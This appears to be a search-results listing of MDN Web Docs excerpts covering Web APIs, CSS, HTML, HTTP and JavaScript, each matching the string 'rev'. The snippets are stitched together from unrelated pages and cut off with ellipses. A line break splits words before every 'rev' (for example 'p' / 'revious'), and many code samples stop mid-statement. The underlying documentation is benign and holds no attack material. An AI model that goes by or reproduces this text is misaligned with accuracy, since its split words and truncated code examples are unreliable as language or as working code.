revoking permissions methods permissions.query() returns the user permission status for a given api.
... permissions.
revoke()
revokes the permission currently set on a given api.
... safari ios no support nosamsung internet android full support 5.0
revoke experimentalnon-standardchrome full support 46edge full support 79firefox full support 51disabled full support 51disabled disabled from version 51: this feature is behind the dom.permissions.
revoke.enable preference...
... nowebview android full support 46chrome android full support 46firefox android full support 51disabled full support 51disabled disabled from version 51: this feature is behind the dom.permissions.
revoke.enable preference (needs to be set to true).
Pointer Lock API - Web APIs
as it has recently unprefixed, you would currently declare it something like this, for example if you wanted to request pointer lock on a canvas element: canvas.requestpointerlock = canvas.requestpointerlock || canvas.mozrequestpointerlock; canvas.requestpointerlock() if a user has exited pointer lock via the default unlock gesture, or pointer lock has not p
reviously been entered for this document, an event generated as a result of an engagement gesture must be received by the document before requestpointerlock will succeed.
...the values of the parameters are the same as the difference between the values of mouseevent properties, screenx and screeny, which are stored in two subsequent mousemove events, enow and ep
revious.
... in other words, the pointer lock parameter movementx = enow.screenx - ep
revious.screenx.
...it also includes a check whether a requestanimationframe() call has p
reviously been made, and if so, calls it again as required, and calls the canvasdraw() function that updates the canvas scene.
ReadableStream.pipeThrough() - Web APIs
piping a stream will generally lock it for the duration of the pipe, p
reventing other readers from locking it.
...available options are: p
reventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed.
... p
reventabort: if this is set to true, errors in the source readablestream will no longer abort the destination writablestream.
... p
reventcancel: if this is set to true, errors in the destination writablestream will no longer cancel the source readablestream.
ReadableStream.pipeTo() - Web APIs
piping a stream will generally lock it for the duration of the pipe, p
reventing other readers from locking it.
...available options are: p
reventclose: if this is set to true, the source readablestream closing will no longer cause the destination writablestream to be closed.
... p
reventabort: if this is set to true, errors in the source readablestream will no longer abort the destination writablestream.
... p
reventcancel: if this is set to true, errors in the destination writablestream will no longer cancel the source readablestream.
SVGLengthList - Web APIs
if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
SVGNumberList - Web APIs
if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list.
... if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
SVGPathSegList - Web APIs
if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list.
... if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
SVGPointList - Web APIs
if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
SVGStringList - Web APIs
if the inserted item is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
...if newitem is already in a list, it is removed from its p
revious list before it is inserted into this list.
SubtleCrypto.verify() - Web APIs
*/ async function verifymessage(publickey) { const signatu
revalue = document.queryselector(".rsassa-pkcs1 .signature-value"); signatu
revalue.classlist.remove("valid", "invalid"); let encoded = getmessageencoding(); let result = await window.crypto.subtle.verify( "rsassa-pkcs1-v1_5", publickey, signature, encoded ); signatu
revalue.classlist.add(result ?
...*/ async function verifymessage(publickey) { const signatu
revalue = document.queryselector(".rsa-pss .signature-value"); signatu
revalue.classlist.remove("valid", "invalid"); let encoded = getmessageencoding(); let result = await window.crypto.subtle.verify( { name: "rsa-pss", saltlength: 32, }, publickey, signature, encoded ); signatu
revalue.classlist.add(result ?
...*/ async function verifymessage(publickey) { const signatu
revalue = document.queryselector(".ecdsa .signature-value"); signatu
revalue.classlist.remove("valid", "invalid"); let encoded = getmessageencoding(); let result = await window.crypto.subtle.verify( { name: "ecdsa", hash: {name: "sha-384"}, }, publickey, signature, encoded ); signatu
revalue.classlist.add(result ?
...*/ async function verifymessage(key) { const signatu
revalue = document.queryselector(".hmac .signature-value"); signatu
revalue.classlist.remove("valid", "invalid"); let encoded = getmessageencoding(); let result = await window.crypto.subtle.verify( "hmac", key, signature, encoded ); signatu
revalue.classlist.add(result ?
Multi-touch interaction - Web APIs
it also calls p
reventdefault() to keep the browser from applying further event handling (for example, mouse event emulation).
... ev.p
reventdefault(); // cache the touch points for later processing of 2-touch pinch/zoom if (ev.targettouches.length == 2) { for (var i=0; i < ev.targettouches.length; i++) { tpcache.push(ev.targettouches[i]); } } if (logevents) log("touchstart", ev, true); update_background(ev); } touch move handler the touchmove handler calls p
reventdefault() for the same reason mentioned above, and invokes the pinch/zoom handler.
... // ev.p
reventdefault(); if (logevents) log("touchmove", ev, false); // to avoid too much color flashing many touchmove events are started, // don't update the background if two touch points are active if (!(ev.touches.length == 2 && ev.targettouches.length == 2)) update_background(ev); // set the target element's border to dashed to give a clear visual // indication the element received a move event.
... function end_handler(ev) { ev.p
reventdefault(); if (logevents) log(ev.type, ev, false); if (ev.targettouches.length == 0) { // restore background and border to original values ev.target.style.background = "white"; ev.target.style.border = "1px solid black"; } } application ui the application uses <div> elements for the touch areas and provides buttons to enable logging and clear the log.
Lighting in WebGL - Web APIs
« p
reviousnext » as should be clear by now, webgl doesn't have much built-in knowledge.
...instead, we'll have our ambient lighting plus a single directional light source, aimed at the rotating cube from the p
revious demo.
... value computed by the vertex shader: const fssource = ` varying highp vec2 vtexturecoord; varying highp vec3 vlighting; uniform sampler2d usampler; void main(void) { highp vec4 texelcolor = texture2d(usampler, vtexturecoord); gl_fragcolor = vec4(texelcolor.rgb * vlighting, texelcolor.a); } `; here we fetch the color of the texel, just like we did in the p
revious example, but before setting the color of the fragment, we multiply the texel's color by the lighting value to adjust the texel's color to take into account the effect of our light sources.
... « p
reviousnext » ...
WebGL best practices - Web APIs
for unchanged vaos, browsers can cache the fetch limits, whereas when vaos change, browsers must
revalidate and recalculate limits.
... the overhead for this is relatively low, but re-using vaos means fewer vertexattribpointer calls too, so it's worth doing whe
rever it's easy.
...these triangles are effectively skipped, which lets you start a new triangle strip unattached to your p
revious one, without having to split into multiple draw calls.
... highp float; precision highp int; precision lowp sampler2d; precision lowp samplercube; the fragment language has the following predeclared globally scoped default precision statements: precision mediump int; precision lowp sampler2d; precision lowp samplercube; in webgl 1, "highp float" support is optional in fragment shaders using highp precision unconditionally in fragment shaders will p
revent your content from working on some older mobile hardware.
Web Video Text Tracks Format (WebVTT) - Web APIs
inner structure of a webvtt file let's re-examine one of our p
revious examples, and look at the cue structure in a bit more detail.
...the end time must be greater than the start time, and the start time must be greater than or equal to all p
revious start times.
... timestamp tag the timestamp must be greater that the cue's start timestamp, greater than any p
revious timestamp in the cue payload, and less than the cue's end timestamp.
...any text before the active text in the payload is p
revious text .
Using Web Workers - Web APIs
it receives an event named error which implements the erro
revent interface.
... the event doesn't bubble and is cancelable; to p
revent the default action from taking place, the worker can call the error event's p
reventdefault() method.
...p
reviously executed code (including code deferred using window.settimeout()) will still be functional though.
...so for example, suppose a document is served with the following header: content-security-policy: script-src 'self' among other things, this will p
revent any scripts it includes from using eval().
Window: beforeunload event - Web APIs
according to the specification, to show the confirmation dialog an event handler should call p
reventdefault() on the event.
... attaching an event handler/listener to window or document's beforeunload event p
revents browsers from using in-memory page navigation caches, like firefox's back-forward cache or webkit's page cache.
... examples the html specification states that authors should use the event.p
reventdefault() method instead of using event.returnvalue.
... event.p
reventdefault(); // chrome requires returnvalue to be set.
Window: unhandledrejection event - Web APIs
you can p
revent this by calling p
reventdefault() on the promiserejectionevent; see p
reventing default handling below for an example.
... window.addeventlistener("unhandledrejection", event => { console.warn(`unhandled promise rejection: ${event.reason}`); }); you can also use the onunhandledrejection event handler property to set up the event listener: window.onunhandledrejection = event => { console.warn(`unhandled promise rejection: ${event.reason}`); }; p
reventing default handling many environments (such as node.js) report unhandled promise rejections to the console by default.
... you can p
revent that from happening by adding a handler for unhandledrejection events that—in addition to any other tasks you wish to perform—calls p
reventdefault() to cancel the event, p
reventing it from bubbling up to be handled by the runtime's logging code.
... // p
revent the default handling (such as outputting the // error to the console) event.p
reventdefault(); }); specifications specification status comment html living standardthe definition of 'unhandledrejection' in that specification.
Using XMLHttpRequest - Web APIs
submitting..."); */ submitdata (odata); } function pushsegment (of
revt) { this.owner.segments[this.segmentidx] += of
revt.target.result + "\r\n"; this.owner.status--; processstatus(this.owner); } function plainescape (stext) { /* how should i treat a text/plain form encoding?
...for didactic purposes here is a translation of the p
revious example transformed to use the formdata api.
... note the b
revity of the code: <!doctype html> <html> <head> <meta http-equiv="content-type" charset="utf-8" /> <title>sending forms with formdata – mdn</title> <script> "use strict"; function ajaxsuccess () { console.log(this.responsetext); } function ajaxsubmit (oformelement) { if (!oformelement.action) { return; } var oreq = new xmlhttprequest(); oreq.onload = ajaxsuccess; if (oformelement.method.tolowercase() === "post") { oreq.open("post", oformelement.action); oreq.send(new formdata(oformelement)); } else { var ofield, sfieldtype, nfile, ssearch = ""; for (var nitem = 0; nitem < oformelement.elements.length; nitem++) { ofield = oformelement.elements[nitem]; if (!ofield.hasattribute("name")) { continue; } sfieldtype = ofield.nodenam...
...if you want to stringify a submitted data, use the p
revious pure-ajax example.
ARIA: listbox role - Accessibility
up arrow: moves focus to the p
revious option.
... shift + up arrow (optional): moves focus to and toggles the selected state of the p
revious option.
... required javascript features selecting an option in a single select listbox when the user selects an option, the following must occur: deselect the p
reviously selected option, setting the aria-selected to false, or removing the attribute altogether, changing the appearance of the newly unselected option to appear not selected.
...ly been handled with the native html <select> and <label> elements <label for="listbox1">select a color:</label> <select id="listbox1"> <option selected>green</option> <option>orange</option> <option>red</option> <option>blue</option> <option>violet</option> <option>periwinkle</option> </select> more examples scrollable listbox example: single-select listbox that scrolls to
reveal more options, similar to html select with size attribute greater than one.
Keyboard-navigable JavaScript widgets - Accessibility
note that updating the tabindex to "0" requires also updating the p
reviously selected item to tabindex="-1".
...to do this: bind a key down handler to each element in the group, and when an arrow key is used to move to another element: programmatically apply focus to the new element, update the tabindex of the focused element to "0", and update the tabindex of the p
reviously focused element to "-1".
... p
revent used key events from performing browser functions if your widget handles a key event, p
revent the browser from also handling it (for example, scrolling in response to the arrow keys) by using your event handler's return code.
... for example: <span tabindex="-1" onkeydown="return handlekeydown();"> if handlekeydown() returns false, the event will be consumed, p
reventing the browser from performing any action based on the keystroke.
Web accessibility for seizures and physical reactions - Accessibility
this article introduces concepts behind making web content accessibile for those with vestibular disorders, and how to measure and p
revent content leading to seizures and / or other physical reactions.
...in its article, "a
revised definition of epilepsy" the epilepsy foundation notes that…"a seizure is an event and epilepsy is the disease involving recurrent unprovoked seizures." according to the epilepsy foundation's page "how serious are seizures?" , "sudden unexpected death in epilepsy (sudep) is likely the most common disease-related cause of death in with epilepsy.
...the css below is from the article, css-tricks
revisiting prefers-reduced-motion, the reduced motion media query.
... @media screen and (prefers-reduced-motion: reduce), (update: slow) { * { animation-duration: 0.001ms !important; animation-iteration-count: 1 !important; /* hat tip nick/cssremedy (https://css-tricks.com/
revisiting-prefers-reduced-motion-the-reduced-motion-media-query/#comment-1700170) */ transition-duration: 0.001ms !important; } } from w3.org's page on media queries 4: the update media feature is used to query the ability of the output device to modify the appearance of content once it has been rendered.
Cubic Bezier Generator - CSS: Cascading Style Sheets
ext to use the canvas for drawing var ctx = canvas.getcontext('2d'); scaling = math.min(canvas.height - rulers - margin, canvas.width - rulers - margin); canvas.onmousedown = mousedown; canvas.onmouseup = mouseup; } else { alert('you need safari or firefox 1.5+ to see this demo.'); } } function cx(x) { return x * scaling + rulers; } function
reversex(x) { return (x - rulers) / scaling; } function lx(x) { //used when drawing vertical lines to p
revent subpixel blur var result = cx(x); return math.round(result) == result ?
... result + 0.5 : result; } function cy(y) { return (1 - y) * scaling + margin; } function
reversey(y) { return (margin - y) / scaling + 1; } function ly(y) { // used when drawing horizontal lines to p
revent subpixel blur var result = cy(y); return math.round(result) == result ?
...m != 0) { var canvas = document.getelementbyid('bezier'); var x = e.pagex - canvas.offsetleft; var y = e.pagey - canvas.offsettop; var output = document.getelementbyid('output'); output.value = "drag!"; if (dragsm == 1) { var x1 = document.getelementbyid('x1'); var y1 = document.getelementbyid('y1'); x1.value =
reversex(x); x1.value = math.round(x1.value * 10000) / 10000; y1.value =
reversey(y); y1.value = math.round(y1.value * 10000) / 10000; if (x1.value < 0) { x1.value = 0; } if (x1.value > 1) { x1.value = 1; } } else if (dragsm == 2) { var x2 = document.getelementbyid('x2'); var y2 = document.getelementbyid('y2')...
...; x2.value =
reversex(x); x2.value = math.round(x2.value * 10000) / 10000; y2.value =
reversey(y); y2.value = math.round(y2.value * 10000) / 10000; if (x2.value < 0) { x2.value = 0; } if (x2.value > 1) { x2.value = 1; } } updatecanvas(); } } initcanvas(); updatecanvas(); this is a sample tool; it lets you edit bezier curves.
animation - CSS: Cascading Style Sheets
/* @keyframes duration | timing-function | delay | iteration-count | direction | fill-mode | play-state | name */ animation: 3s ease-in 1s 2
reverse both paused slidein; /* @keyframes name | duration | timing-function | delay */ animation: 3s linear 1s slidein; /* @keyframes name | duration */ animation: slidein 3s; <div class="grid"> <div class="col"> <div class="note"> given the following animation: <pre>@keyframes slidein { from { transform: scalex(0); } to { transform: scalex(1); } }</pre> </div> <...
...div class="row"> <div class="cell"> <button class="play" title="play"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s ease-in 1s 2
reverse both paused slidein;</div> <div class="animation a1"></div> </div> </div> <div class="row"> <div class="cell"> <button class="pause" title="pause"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s linear 1s slidein;</div> <div class="animation a2"></div> </div> </div> <div class="row"> <div class="cell"> <button class="pause" title="pause"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s slidein;</div> <div class="animation a3">...
...x; margin: .5em; padding: 0; background-color: #fff; overflow: hidden; text-align: left; } .flx { flex: 1 0; } .note { background: #fff3d4; padding: 1em; margin: .5em; font: .8em sans-serif; text-align: left; flex: none; } .overlay { padding: .5em; } @keyframes slidein { from { transform: scalex(0); } to { transform: scalex(1); } } .a1 { animation: 3s ease-in 1s 2
reverse both paused slidein; } .a2 { animation: 3s linear 1s slidein; } .a3 { animation: 3s slidein; } .animation { background: #3f87a6; width: 100%; height: calc(100% - 1.5em); transform-origin: left center; } window.addeventlistener('load', function () { var animation = array.from(document.queryselectorall('.animation')); var button = array.from(document.queryselectorall('button'))...
...ngle-animation> = <time> | <timing-function> | <time> | <single-animation-iteration-count> | <single-animation-direction> | <single-animation-fill-mode> | <single-animation-play-state> | [ none | <keyframes-name> ]where <timing-function> = linear | <cubic-bezier-timing-function> | <step-timing-function><single-animation-iteration-count> = infinite | <number><single-animation-direction> = normal |
reverse | alternate | alternate-
reverse<single-animation-fill-mode> = none | forwards | backwards | both<single-animation-play-state> = running | paused<keyframes-name> = <custom-ident> | <string>where <cubic-bezier-timing-function> = ease | ease-in | ease-out | ease-in-out | cubic-bezier(<number <a href="/docs/css/value_definition_syntax#brackets" title="brackets: enclose several entities, combinato...
flex-wrap - CSS: Cascading Style Sheets
syntax flex-wrap: nowrap; /* default value */ flex-wrap: wrap; flex-wrap: wrap-
reverse; /* global values */ flex-wrap: inherit; flex-wrap: initial; flex-wrap: unset; the flex-wrap property is specified as a single keyword chosen from the list of values below.
... wrap-
reverse behaves the same as wrap but cross-start and cross-end are permuted.
... formal definition initial valuenowrapapplies toflex containersinheritednocomputed valueas specifiedanimation typediscrete formal syntax nowrap | wrap | wrap-
reverse examples setting flex container wrap values html <h4>this is an example for flex-wrap:wrap </h4> <div class="content"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:nowrap </h4> <div class="content1"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> <h4>this is an example for flex-wrap:wrap-
reverse </h4> <div class="content2"> <div class="red">1</div> <div class="green">2</div> <div class="blue">3</div> </div> css /* common styles */ .content, .content1, .content2 { color: #fff; fo...
...text-align: center; } .content div, .content1 div, .content2 div { height: 50%; width: 300px; } .red { background: orangered; } .green { background: yellowgreen; } .blue { background: steelblue; } /* flexbox styles */ .content { display: flex; flex-wrap: wrap; } .content1 { display: flex; flex-wrap: nowrap; } .content2 { display: flex; flex-wrap: wrap-
reverse; } results specifications specification status comment css flexible box layout modulethe definition of 'flex-wrap' in that specification.
Audio and Video Delivery - Developer guides
get","http://jplayer.org/audio/mp3/riomez-01-sleep_together.mp3",true); request.responsetype = "arraybuffer"; request.onload = function() { context.decodeaudiodata(request.response, function(buffer) { source = context.createbuffersource(); source.buffer = buffer; source.connect(context.destination); // auto play source.start(0); // start was p
reviously noteon }); }; request.send(); } catch(e) { alert('web audio api not supported'); } in this example we retrieve an mp3 file via xhr, load it into a source and play it (try it for yourself).
... one of the principle uses of eme is to allow browsers to implement drm (digital rights management), which helps to p
revent web-based content (especially video) from being copied.
... error handling starting in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), error handling has been
revised to match the latest version of the html5 specification.
... video player styling basics with the cross-browser video player put in place in the p
revious article, this article now looks at providing some basic, reponsive styling for the player.
HTML5 Parser - Developer guides
the html5 specification provides a more detailed description than p
revious html standards of how to turn a stream of bytes into a dom tree.
...if you p
reviously tested your code in ie and opera, then you probably don't have any tags like this.
... in an inline script, in order to use the literal strings <script, </script>, and <!--, you should p
revent them from being parsed literally by expressing them as \u003cscript,\u003c/script>, and \u003c!--.
...this means that you can now use svg and mathml inline in text/html similarly to what has p
reviously been possible in application/xhtml+xml.
Introduction to HTML5 - Developer guides
html5 is the fifth
revision and newest version of the html standard.
... it offers new features that provide not only rich media support but also enhance support for creating web applications that can interact with users, their local data, and servers more easily and effectively than was p
reviously possible.
...in p
revious versions of html, it was done using a very complex <meta> element.
...this was done to tighten security and p
revent some types of attacks.
HTML attribute: rel - HTML: Hypertext Markup Language
external resource not allowed not allowed p
rev indicates that the current document is a part of a series, and that the p
revious document in the series is the referenced document.
... note: the obsolete
rev="made" is treated as rel="alternate" bookmark relevant as the rel attribute value for the <a> and <area> elements, the bookmark provides a permalink for ancestor section, which is the nearest ancestor <article> or <section>, if there is at least one, otherwise, the nearest heading sibling or ancestor descendant, to the next..
... p
rev similar to the next keyword, relevant to <form>, <link>, <a>, and <area>, the p
rev values indicates that the current document is a part of a series, and that the link references a p
revious document in the series is the referenced document.
... note: the synonym p
revious is incorrect and should not be used.
<audio>: The Embed Audio element - HTML: Hypertext Markup Language
without sending the origin: http header), p
reventing its non-tainted used in <canvas> elements.
...if the audio's metadata isn't available yet—thereby p
reventing you from knowing the media's start time or duration—currenttime instead indicates, and can be used to change, the time at which playback will begin.
...captions, which are specified using webvtt, allow people who are experiencing hearing loss to understand an audio recording's content as the recording is being played, while transcripts allow people who need additional time to be able to
review the recording's content at a pace and format that is comfortable for them.
... if automatic captioning services are used, it is important to
review the generated content to ensure it accurately represents the source audio.
<dfn>: The Definition element - HTML: Hypertext Markup Language
the element must still have text within it, but that text may be an abb
reviation (perhaps using <abbr>) or another form of the term.
... result the resulting content looks like this: using abb
reviations and definitions together in some cases, you may wish to use an abb
reviation for a term when defining it.
...the former establishes that the term is an abb
reviation ("hst") and specifies the full term ("hubble space telescope") in its title attribute.
... the latter indicates that the abb
reviated term represents a term being defined.
<input type="search"> - HTML: Hypertext Markup Language
results the maximum number of items that should be displayed in the drop-down list of p
revious search queries.
... results the results attribute—supported only by safari—is a numeric value that lets you override the maximum number of entries to be displayed in the <input> element's natively-provided drop-down menu of p
revious search queries.
...the following screenshot comes from chrome: in addition, modern browsers also tend to automatically store search terms p
reviously entered across domains, which then come up as autocomplete options when subsequent searches are performed in search inputs on that domain.
... let's have a look at an example: <form role="search"> <div> <input type="search" id="mysearch" name="q" placeholder="search the site..." aria-label="search through site content"> <button>search</button> </div> </form> you can see how this is rendered below: there is no visual difference from the p
revious example, but screenreader users have way more information available to them.
<video>: The Video Embed element - HTML: Hypertext Markup Language
without sending the origin: http header), p
reventing its non-tainted used in <canvas> elements.
... disablepictureinpicture p
revents the browser from suggesting a picture-in-picture context menu or to request picture-in-picture automatically in some cases.
...captions allow people who are experiencing hearing loss to understand a video's audio content as the video is being played, while transcripts allow people who need additional time to be able to
review audio content at a pace and format that is comfortable for them.
... if automatic captioning services are used, it is important to
review the generated content to ensure it accurately represents the source video.
HTML elements reference - HTML: Hypertext Markup Language
<abbr> the html abb
reviation element (<abbr>) represents an abb
reviation or acronym; the optional title attribute can provide an expansion or description for the abb
reviation.
... <select> the html <select> element represents a control that provides a menu of options <textarea> the html <textarea> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a comment on a
review or feedback form.
... element description <acronym> the html acronym element (<acronym>) allows authors to clearly indicate a sequence of characters that compose an acronym or abb
reviation for a word.
... <nobr> the non-standard, obsolete html <nobr> element p
revents the text it contains from automatically wrapping across multiple lines, potentially resulting in the user having to scroll horizontally to see the entire width of the text.
Content Security Policy (CSP) - HTTP
a policy needs to include a default-src or script-src directive to p
revent inline scripts from running, as well as blocking the use of eval().
... example 4 a web site administrator for an online banking site wants to ensure that all its content is loaded using tls, in order to p
revent attackers from eavesdropping on requests.
...additionally, a report-only header can be used to test a future
revision to a policy without actually deploying it.
...in summary, this is done to p
revent leaking sensitive information about cross-origin resources.
Content negotiation - HTTP
the vary response header in opposition to the p
revious accept-* headers which are sent by the client, the vary http header is sent by the web server in its response.
...the header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while p
reventing serving erroneous content to the user.
...obviously, the wildcard '*' p
revents caching from occurring, as the cache cannot know what element is behind it.
... unfortunately, the http standard does not specify the format of the page allowing to choose between the available resource, which p
revents to easily automatize the process.
Firefox user agent string reference - HTTP
though fixed in firefox 69, p
revious 32-bit versions of firefox running on 64-bit processors would report that the system is using a 32-bit cpu.
...ko user agent string phone mozilla/5.0 (android 4.4; mobile; rv:41.0) gecko/41.0 firefox/41.0 tablet mozilla/5.0 (android 4.4; tablet; rv:41.0) gecko/41.0 firefox/41.0 focus for android from version 1, focus is powered by android webview and uses the following user agent string format: mozilla/5.0 (linux; <android version> <build tag etc.>) applewebkit/<webkit
rev> (khtml, like gecko) version/4.0 focus/<focusversion> chrome/<chrome
rev> mobile safari/<webkit
rev> tablet versions on webview mirror mobile, but do not contain a mobile token.
... firefox for fire tv version 3 (and probably earlier) of firefox for fire tv use a user agent string with the following format: mozilla/5.0 (linux; <android version>) applewebkit/537.36 (khtml, like gecko) version/4.0 focus/<firefoxversion> chrome/<chrome
rev> safari/<webkit
rev> firefox tv version user agent string v3.0 mozilla/5.0 (linux; android 7.1.2) applewebkit/537.36 (khtml, like gecko) version/4.0 focus/3.0 chrome/59.0.3017.125 safari/537.36 firefox for echo show from version 1.1, firefox for echo show uses a user agent string with the following format: mozilla/5.0 (linux; <android version>) applewebkit/537.36...
... (khtml, like gecko) version/4.0 focus/<firefoxversion> chrome/<chrome
rev> safari/<webkit
rev> firefox for echo show version user agent string v1.1 mozilla/5.0 (linux; android 5.1.1) applewebkit/537.36 (khtml, like gecko) version/4.0 focus/1.1 chrome/59.0.3017.125 safari/537.36 firefox os form factor gecko user agent string phone mozilla/5.0 (mobile; rv:26.0) gecko/26.0 firefox/26.0 tablet mozilla/5.0 (tablet; rv:26.0) gecko/26.0 firefox/26.0 tv mozilla/5.0 (tv; rv:44.0) gecko/44.0 firefox/44.0 device-specific mozilla/5.0 (mobile; nnnn; rv:26.0) gecko/26.0 firefox/26.0 device-specific user agent strings although it is strongly discouraged by mozilla, some handset manufacturers unfortunately ...
Closures - JavaScript
closure consider the following code example: function makefunc() { var name = 'mozilla'; function displayname() { alert(name); } return displayname; } var myfunc = makefunc(); myfunc(); running this code has exactly the same effect as the p
revious example of the init() function above.
... in p
revious examples, each closure had its own lexical environment.
... consider the following case: function myobject(name, message) { this.name = name.tostring(); this.message = message.tostring(); this.getname = function() { return this.name; }; this.getmessage = function() { return this.message; }; } because the p
revious code does not take advantage of the benefits of using closures in this particular instance, we could instead rewrite it to avoid using closure as follows: function myobject(name, message) { this.name = name.tostring(); this.message = message.tostring(); } myobject.prototype = { getname: function() { return this.name; }, getmessage: function() { return this.message; } }; ...
...the following example instead appends to the existing prototype: function myobject(name, message) { this.name = name.tostring(); this.message = message.tostring(); } myobject.prototype.getname = function() { return this.name; }; myobject.prototype.getmessage = function() { return this.message; }; in the two p
revious examples, the inherited prototype can be shared by all objects and the method definitions need not occur at every object creation.
JavaScript data types and data structures - JavaScript
whe
rever possible, comparisons with other languages are drawn.
... false obsolete attributes (as of ecmascript 3, renamed in ecmascript 5) attribute type description read-only boolean
reversed state of the es5 [[writable]] attribute.
... dontenum boolean
reversed state of the es5 [[enumerable]] attribute.
... dontdelete boolean
reversed state of the es5 [[configurable]] attribute.
Control flow and error handling - JavaScript
« p
reviousnext » javascript supports a compact set of statements, specifically control flow statements, that you can use to incorporate a great deal of interactivity in your application.
...production, regardless of any return statements in the try and catch blocks: function f() { try { console.log(0); throw 'bogus'; } catch(e) { console.log(1); return true; // this return statement is suspended // until finally block has completed console.log(2); // not reachable } finally { console.log(3); return false; // overwrites the p
revious "return" console.log(4); // not reachable } // "return false" is executed now console.log(5); // not reachable } console.log(f()); // 0, 1, 3, false overwriting of return values by the finally block also applies to exceptions thrown or re-thrown inside of the catch block: function f() { try { throw 'bogus'; } catch(e) { console.log('caught inner "bogus"'); throw...
... e; // this throw statement is suspended until // finally block has completed } finally { return false; // overwrites the p
revious "throw" } // "return false" is executed now } try { console.log(f()); } catch(e) { // this is never reached!
...n dosomethingerrorprone() { if (ourcodemakesamistake()) { throw (new error('the message')); } else { dosomethingtogetajavascripterror(); } } ⋮ try { dosomethingerrorprone(); } catch (e) { // now, we actually use `console.error()` console.error(e.name); // logs 'error' console.error(e.message); // logs 'the message', or a javascript error message } « p
reviousnext » ...
Introduction - JavaScript
« p
reviousnext » this chapter introduces javascript and discusses some of its fundamental concepts.
... p
revent stupid semantics in javascript that trip up beginners.
... p
revent code snippets executed in the console from interacting with one-another (e.g., having something created in one console execution being used for a different console execution).
... « p
reviousnext » ...
Using Promises - JavaScript
« p
reviousnext » a promise is an object representing the eventual completion or failure of an asynchronous operation.
... chaining a common need is to execute two or more asynchronous operations back to back, where each subsequent operation starts when the p
revious operation succeeds, with the result from the p
revious step.
...you might see this expressed with arrow functions instead: dosomething() .then(result => dosomethingelse(result)) .then(newresult => dothirdthing(newresult)) .then(finalresult => { console.log(`got the final result: ${finalresult}`); }) .catch(failurecallback); important: always return results, otherwise callbacks won't catch the result of a p
revious promise (with arrow functions () => x is short for () => { return x; }).
...you can capture these for analysis and handling by your code—or just to avoid having them cluttering up your output—by adding a handler for the unhandledrejection event, like this: window.addeventlistener("unhandledrejection", event => { /* you might start here by adding code to examine the promise specified by event.promise and the reason in event.reason */ event.p
reventdefault(); }, false); by calling the event's p
reventdefault() method, you tell the javascript runtime not to do its default action when rejected promises go unhandled.
JavaScript language resources - JavaScript
this is the second
revision of the ecmascript standard; also iso standard 16262.
...this is the third
revision of the ecmascript standard; corresponds to javascript 1.5.
...this is the fifth
revision of the ecmascript standard.
... you can participate in or just track the work on the next
revisions of the ecmascript language specification, code-named "harmony", and the ecmascript internationalization api specification via public wiki and the es-discuss mailing list linked from ecmascript.org.
WeakMap - JavaScript
these references p
revent the keys from being garbage collected, even if there are no other references to the object.
... this would also p
revent the corresponding values from being garbage collected.
... by contrast, native weakmaps hold "weak" references to key objects, which means that they do not p
revent garbage collection in case there would be no other reference to the key object.
... this also avoids p
reventing garbage collection of values in the map.
Transitioning to strict mode - JavaScript
differences from non-strict to strict syntax errors when adding 'use strict';, the following cases will throw a syntaxerror before the script is executing: octal syntax var n = 023; with statement using delete on a variable name delete myvariable; using eval or arguments as variable or function argument name using one of the newly reserved keywords (in p
revision for ecmascript 2015): implements, interface, let, package, private, protected, public, static, and yield declaring function in blocks if (a < b) { function f() {} } obvious errors declaring twice the same name for a property name in an object literal {a: 1, b: 3, a: 7} this is no longer the case in ecmascript 2015 (bug 1041128).
... declaring two function parameters with the same name function f(a, b, b) {} these errors are good, because they
reveal plain errors or bad practices.
...careful
review of your code base will probably be necessary to be sure these differences don't affect the semantics of your code.
... fortunately, this careful
review can be done gradually down the function granularity.
Strict mode - JavaScript
converting mistakes into errors strict mode changes some p
reviously-accepted mistakes into errors.
...rror var infinity = 5; // throws a typeerror // assignment to a non-writable property var obj1 = {}; object.defineproperty(obj1, 'x', { value: 42, writable: false }); obj1.x = 9; // throws a typeerror // assignment to a getter-only property var obj2 = { get x() { return 17; } }; obj2.x = 5; // throws a typeerror // assignment to a new property on a non-extensible object var fixed = {}; object.p
reventextensions(fixed); fixed.newprop = 'ohai'; // throws a typeerror third, strict mode makes attempts to delete undeletable properties throw (where before the attempt would simply have no effect): 'use strict'; delete object.prototype; // throws a typeerror fourth, strict mode prior to gecko 34 requires that all properties named in an object literal be unique.
...in normal code the last duplicated argument hides p
revious identically-named arguments.
... those p
revious arguments remain available through arguments[i], so they're not completely inaccessible.
Web video codec guide - Web media technologies
motion compression of video typically works by comparing frames, finding where they differ, and constructing records containing enough information to update the p
revious frame to approximate the appearance of the following frame.
... wagon-wheel effect the wagon-wheel effect (or stroboscopic effect) is the visual effect that's commonly seen in film, in which a turning wheel appears to rotate at the wrong speed, or even in
reverse, due to an interaction between the frame rate and the compression algorithm.
